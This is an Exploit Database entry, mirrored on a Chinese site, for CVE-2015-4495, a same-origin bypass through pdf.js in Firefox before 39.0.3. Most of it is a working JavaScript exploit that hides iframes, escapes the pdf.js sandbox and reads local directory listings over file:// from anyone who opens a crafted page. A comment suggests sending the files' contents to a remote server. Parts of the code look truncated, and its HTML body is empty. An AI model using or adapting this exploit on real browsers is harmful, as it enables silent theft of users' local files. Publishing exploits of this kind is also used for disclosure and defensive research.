Mozilla Firefox < 39.03 - 'pdf.js' Same Origin Policy

Exploit Database
107 阅读

作者： Tantaryu MING

日期： 2015-08-15
类别：
- local
平台：
- multiple
来源：https://www.exploit-db.com/exploits/37772/

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# Exploit Title: Firefox < 39.03 pdf.js same origin policy exploit

# Date: 13-08-2014

# Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/

# Software Link: http://ftp.mozilla.org/pub/firefox/releases/39.0/linux-x86_64/en-US/firefox-39.0.tar.bz2

# Version: 39.0 [Should work version before 39.0.3]

# Tested on: Linux (Ubuntu 14.04.3 LTS) [Should probably work in OSX]

# CVE : 2015-4495

# POC code taken from https://github.com/vincd/CVE-2015-4495

1. Description

This exploit allow attacker to read and copy information on victim's computer, once they view the web site crafted with this exploit.

2. Proof of Concept

Create a index.html and copy and paste the following html into it:

<!DOCTYPE html>

<html>

<head>

</head>

<body>

</body>

</html>

Run the index.html (Make sure the main.js is in the same directory) and we should be able to see the directory listing.

3. Solution

Upgrade to the latest firefox ( > 39.0.3)

var start_timeout=2000;

var sandbox_context_i=null;

var DIR_CACHE={};

var FILE_CACHE={};

var hidden=true;

var my_win_id=null;

function start() {

i=document.getElementById("i");

i2=document.getElementById("i2");

if(typeof sandboxContext!=='undefined') {

clearInterval(intVal);

var os = navigator.platform;

if (os.search("Mac") > -1 || os.search("Linux") > -1) {

// NOTE: Replace the following root directory into any directory of your

// choice. Can make it an array and loop through it.

get_dir("/", function(data) {

// nothing to do here...

});

}

function parse_directory_listing(dir, data) {

var pattern = '<tbody><tr><td><a class=';

var start = 0;

var listing = 'Listing:\n';

while ((start = data.search(pattern)) >= 0) {

var d = data.substring(start + pattern.length + 1),

end = d.search('>'),

f = d.substring(0, end);

f = f.split(' ');

var t = f[0].substring(0, f[0].length-1);

var n = f[1].substring(6, f[1].length-1);

listing += '[' + t + '] ' + dir + '/' + n + '\n';

data = d.substring(end);

}

// NOTE: Replace with some other useful stuff. Eg: Read the file and do a post

// request to send all the content to a remote server.

alert(listing);

}

function get_dir(dir,callback,internal) {

get(dir,function() {

data=get_data(this);

var dir=location.href.toString();

dir=dir.replace(/^file\:\/\//i,'');

dir=decodeURIComponent(dir);

parse_directory_listing(dir, data);

}, 500, "%target_dir%", dir);

}

function xml2string(obj) {

return new XMLSerializer().serializeToString(obj);

}

function _(s,template,value) {

s=s.toString().split(/^\s*function\s+\(\s*\)\s*\{/)[1];

s=s.substring(0,s.length-1);

if(template&&value)

s=s.replace(template,value);

s+=parse_directory_listing;

s+=__proto;

s+=xml2string;

s+=get_data;

s=s.replace(/\s\/\/.*\n/g,"");

s=s+";undefined";

return s;

}

function __proto(obj) {

return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;

}

function get_data(obj) {

data=null;

try {

data=obj.document.documentElement.innerHTML;

if (data.indexOf('dirListing') < 0) {

throw new Error();

}

} catch(e) {

if (this.document instanceof XMLDocument) {

data=xml2string(this.document);

} else {

try {

if (this.document.body.firstChild.nodeName.toUpperCase()=='PRE') {

data=this.document.body.firstChild.textContent;

} else {

throw new Error();

}

} catch(e) {

try {

if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') >- 1 ) {

return null;

} else {

throw new Error();

}

} catch(e) {

;

}

return data;

}

function get(path,callback,timeout,template,value){

callback = _(callback);

if(template && value) callback = callback.replace(template,value);

proto_prefix="file://";

var invisible_code="";

js_call1='javascript:'+invisible_code+_(function(){

try {

open("%url%","_self");

} catch(e) {

history.back();

} undefined;

}, "%url%", proto_prefix+path);

js_call2='javascript:' + invisible_code + ';try{updateHidden();}catch(e){};' + callback + ';undefined';

sandboxContext(_(function() {

p = __proto(i.contentDocument.styleSheets[0].ownerNode);

l = p.__lookupSetter__.call(i2.contentWindow,'location');

l.call(i2.contentWindow, window.wrappedJSObject.js_call1);

}));

setTimeout((function() {

sandboxContext(_(function() {

p = __proto(i.contentDocument.styleSheets[0].ownerNode);

l = p.__lookupSetter__.call(i2.contentWindow,'location');

l.call(i2.contentWindow,window.wrappedJSObject.js_call2);

}));

}), timeout);

}

function get_sandbox_context() {

if(my_win_id==null) {

for(var i=0;i<20;i++) {

try {

if(window[i].location.toString().indexOf("view-source:")!=-1) {

my_win_id=i;;break;

}

} catch(e) {}

}

};

if(my_win_id==null) return;

clearInterval(sandbox_context_i);

object.data='view-source:' + blobURL;

window[my_win_id].location='data:application/x-moz-playpreview-pdfjs;,';

object.data='data:text/html,<html/>';

window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe onload="' + _(function() {

window.wrappedJSObject.sandboxContext = (function(cmd) {

with(importFunction.constructor('return this')()) {

return eval(cmd);

}

});

}) + '"/>');

}

function setup_plugin() {

var i = document.createElement("iframe");

i.id = "i";

i.width = 1;

i.height = 1;

i.src = "data:application/xml,<" + "?xml version=\"1.0\"?><e><e1></e1></e>";

i.frameBorder = 0;

document.documentElement.appendChild(i);

i.onload=function() {

if(this.contentDocument.styleSheets.length>0) {

var i2 = document.createElement("iframe");

i2.id="i2";

i2.src="data:application/pdf,";

i2.frameBorder=0;

if(!hidden) {

i2.width="100%";

i2.height="700px";

} else {

i2.width=1;

i2.height=1;

}

document.documentElement.appendChild(i2);

pdfBlob=new Blob([''], { type:'application/pdf' });

blobURL = URL.createObjectURL(pdfBlob);

object = document.createElement('object');

object.data='data:application/pdf,';

if(hidden) {

object.style.display='none';

object.width=1;

object.height=1;

}

object.onload = (function() {

sandbox_context_i = setInterval(get_sandbox_context,200);

object.onload=null;

object.data='view-source:' + location.href;return;

});

document.documentElement.appendChild(object);

} else {

this.contentWindow.location.reload();

}

setTimeout(function() {

setup_plugin();

intVal = setInterval(start, 150);

}, start_timeout);